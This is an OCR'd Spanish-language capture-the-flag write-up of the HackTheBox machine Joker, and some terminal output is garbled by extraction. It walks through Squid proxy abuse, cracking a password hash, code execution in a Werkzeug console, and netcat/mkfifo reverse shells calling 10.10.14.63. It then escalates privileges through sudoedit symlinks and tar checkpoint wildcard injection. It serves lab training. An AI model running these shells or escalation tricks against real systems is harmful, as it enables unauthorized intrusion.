Joker

Ny

RELEASE DATE DIFFICULTY MACHINE STATE

19 May 2017 Retired

1. Enumeracion

Ejecutamos un Ping contra la maquina victima y por el TTL podemos ver que posiblemente que
la maquina victima se trate de una maquina Linux.

rrot/HTB/ joker
1 10.10.10.21
0.21 (10.10.10.2:

n report 10.10.10.21
t is up (0.035s latency).

ION
H 7.3p1 Ubuntu 1ubuntu®.1 (Ubuntu Linux; protocol 2.0)

E : ERROR: The requested URL could be retrieved
_http-server-header: squid/3 12
S e Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

d data files from: /usr/bin/../share/nmap
e detection performed. P e report any incorrect results at https: ap.org/submit/
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Si consultamos el Launchad vemos que estamos ante una version de Ubuntu Yakkety.

openssh 1:7.3p1-1ubuntu0.1 source package in Ubuntu
Changelog

openssh (1:7.3pl-lubuntu@.l) vakkety; urgency=medium
* Fix ssh-keygen -H accidentally corrupting known_hosts that contained
already-hashed entries (LP: #1663893).

* Fix ssh-keyscan to correctly hash hosts with a port number (LP: #1678745).

- Christian Ehrhardt <email address hidden> Wed, 15 Mar 2817 14:25:22 +@8188@

Upload details

Uploaded by: Uploaded to:

& Christian Ehrhardt @ on 2017-03-16 Yakkeby
Original maintainer: Architectures:
£, Debian OpensSH Maintainers any all

Section: Urgency:

net IMedium Urgency

2. Analisis de vulnerabilidades

Dado que aun no tenemos credenciales, dejamos de momento el puerto 22 de SSH y nos
centramos en el puerto 3128 que el Nmap detecta como Squid 3.5.12.

Buscamos por si hubiera alguna vulnerabilidad al respecto, pero no encontramos ninguna
especifica para la version de la maquina victima

/home/parrot/HTB/joker  x

Comprobamos en el navegador web, que realmente es un Squid Proxy.
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O A 10.10.10.21

ERROR

The requested URL could not be retrieved

The following error was encountered while trying to retrieve the URL: /
Invalid URL
Some aspect of the requested URL is incorrect.
Some possible problems are:
= Missing or incorrect access protocol (should be "http://” or similar)
» Missing hostname
« lllegal double-escape in the URL-Path
« lllegal character in hostname; underscores are not allowed.

Your cache administrator is webmaster.

Generated Wed, 28 Sep 2022 16:46:06 GMT by joker (squid/3.5.12)

Vamos a ver si somos capaces de enumerar puertos internos, valiéndonos de Squid Proxy.
Vamos a probar una herramienta que he descubierto hace poco (Spose
https://github.com/aancw/spose). Esta herramienta examina los siguientes puertos TCP

{21,22,23,25,53,69,80,109,110,123,137,138,139,143,156,389,443,546,547,995,993,2086,2087,
2082,2083,3306,8080,8443,10000}

No encuentra nada. Parece que no hay puertos TCP abiertos, vamos a tener que enumerar
puertos UDP. Primero, probaremos sin pasar por el Squid Proxy.

/home/parrot/HTB/ joker/spose M ECi il El

Intentamos hacer una enumeracion por fuerza bruza de posibles ficheros, pero no
conseguimos nada.
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https://github.com/aancw/spose

Como estamos ante una maquina con Squid Proxy, quiero pensar que tenemos que tenemos
gue tener acceso a algun fichero de configuracién. ¢ Dénde esta el fichero de configuraciéon de
Squid Proxy? Normalmente esta en /etc/squid/squid.conf

https://www.liquidweb.com/kb/install-squid-proxy-server-ubuntu-16-04/

Change Squid's Default Listening Port

Next, the Squid proxy servers default port is 3128. You can change or modify this setting to suit your needs
should you wish to modify the port for a specific reason or necessity. To change the default Squid port, we
will need to edit the Squid configuration file and change the “http_port” value (on line 1599) to a new port
number.

[root@test ~]# vim
http_port 2946

(Keep the file open for now...)

Intentamos bajarnos el fichero de configuracidn (no sin antes probar, el /etc/passwd, jejeje)

/home/parrot/HTB/joker/spose JEiimel  FUNEED
10.160.16.21

Hacemos una lectura rapida y vemos que hacen referencia a un fichero passwords
(/etc/squid/passwords). Vamos a descargarlo y ver qué contiene.

Y conseguimos un usuario y un hash.

Se lo pasamos a John a ver si es capaz de averiguar la contrasefia.

©Dandy_loco
https://dandyloco.github.io/


https://www.liquidweb.com/kb/install-squid-proxy-server-ubuntu-16-04/

Esto mismo, podriamos haberlo hecho con Hashcat de la siguiente forma. Identificamos el tipo
de hash.

/home/parrot/HTB/ joker/spose X PIPE|2
1 1

md5aprl, MD5 (APR)

n:0-1000

Usuario: kalamari
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Clave: ihateseafood

Configuramos nuestro Foxy Proxy, con los datos del Squid Proxy e intentamos acceder a la
127.0.0.1 con nuestro navegador web.

QO [ 127.001

Create a Shorty-URL!

I'm sorry but you cannot shorten this URL.

Enter the URL you want to shorten
127.0.0.1
Optionally you can give the URL a memorable name
Do!

I make this URL private, so don't list it

horty for good, not for evil

Buscamos si existen exploit para Shorty, pero no vemos nada relevante. El exploit que nos
aparece es para hacer un bypass de la autenticacion y a nosotros, no nos esta pidiendo
logarnos.

Si comprobamos las tecnologias usadas con Wappalyzer vemos que usa Flask. Intentamos un
SSTI, aunque no parece que nos esté funcionando.

TECHWOLOGIES MORE INFO ¥ Export
Web frameworks Programming languages
#%_ Flask o1os @  Python 27iz2

Web servers

% Flask o105
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List of URLs

{{7%'7'}} » http://10.10.14.63/test

{{7*7}} » http://10.10.14.63/test
{{4*4}}[[5*5]] » http://10.10.14.63/test
Prueba » http://{{4*4}}[[5*5]]

« Previous | 1 | Next »

new | list | use shorty for good, not for evil

Vamos a realizar una enumeracion con Gobuster. Vemos un directorio console.

/home/par HTB/

Si navegamos a la web, vemos una consola interactiva.

O [ 127.00.1

Interactive Console

In this console you can execute Python expressions in the ¢

[console ready]

===

3. Explotacion

Tenemos una forma de ejecutar comandos. Vamos a importar la libreria OS y aprovecharnos
del mddulo popen, para poder ejecutar comandos.
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==> import os

=>> print(os.getuid())

le00

>>> ps.system("whoami")

0

==> print(os.popen("whoami").read())
werkzeug

IM

Para ganar acceso a la maquina necesitamos poder conseguir una “reverse shel
vamos a ver si disponemos del comando nc.

por tanto,

==> print(os.popen("which nc").read())
/bin/nc

Intentamos varias combinaciones, hasta que lo intentamos por UDP. Por UDP conseguimos
acceso.

=

>3

>3

>>> print(os.popen("rm /tmp/T;mkfifo /tmp/T;cat /tmp/T|/bin/sh -1 2>&1|nc 10.10.14.63 443 >/tmp/T").read())
=>> print(os.popen{"nc -u -e /bin/bash 10.18.14.63 443").read())

=>>> print({os.popen({"nc -u -e /bin/bash 10.18.10.63 443").read())

>>> print({os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -1 2=&1|nc -u 10.10.14.63 443 >/tmp/f").read())

/home/parrot/HTB/joker = x 1 JLBECE>
-nlup 443 -

4. Escalada de privilegios.

Realizamos el tratamiento de la TTY. Vemos quien soy y a qué grupos pertenecemos. No
vemos nada especial.
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Existe una vulnerabilidad del uso de sudo con rutas con * (https://www.exploit-
db.com/exploits/37710). Podemos crear un link simbdlico contra otro fichero (por ejemplo, el

authorized_keys del usuario que es accesible en esta maquina por todos los usuarios).
Creamos un subdirectorio bajo testing llamado “directorio” y creamos el enlace simbdlico
llamado layout.html para poder aprovecharnos de esos permisos de sudoers.

Generamos un par de claves RSA. La clave publica la metemos en enlace simbdlico que hemos
creado anteriormente.

Nos conectamos por SSH para ganar acceso como alekos.

16.18 (GNU/Limux 4.§
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https://www.exploit-db.com/exploits/37710
https://www.exploit-db.com/exploits/37710

Si revisamos el directorio /home/ vemos que hay un directorio backup.

Si descomrimimos en /tmp/ un fichero, parece el contenido que tenemos en el directorio
development del home del usuario.

ev-1664457601.tar

Para comprobarlo, creamos un fichero de prueba llamado test.txt, para ver si nos realiza el
bakup de ese fichero. Y efectivamente.
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Quiero pensar, que lo que se estd ejecutando es un tar -cf [nombre fichero] development/*
como root. Por tanto, conocemos una forma de aprovecharnos
(https://gtfobins.github.io/gtfobins/tar/#shell)

IShell

It can be used to break out from restricted environments by spawning an interactive system shell.

tar -cf fdev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

(a)

Por tanto, nos vamos a crear los siguientes ficheros (ojo al -- --):

e touch—‘—checkpoint-action=exec=bash fichero.sh’
e touch -- --checkpoint=1
e nano fichero.sh

nano 2.6.3 File: fichero.sh
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https://gtfobins.github.io/gtfobins/tar/#shell

Una vez que se ejecute del script, vemos que la /bin/bash es SUID y podemos elevar
privilegios.

/bin/bash

©Dandy_loco
https://dandyloco.github.io/



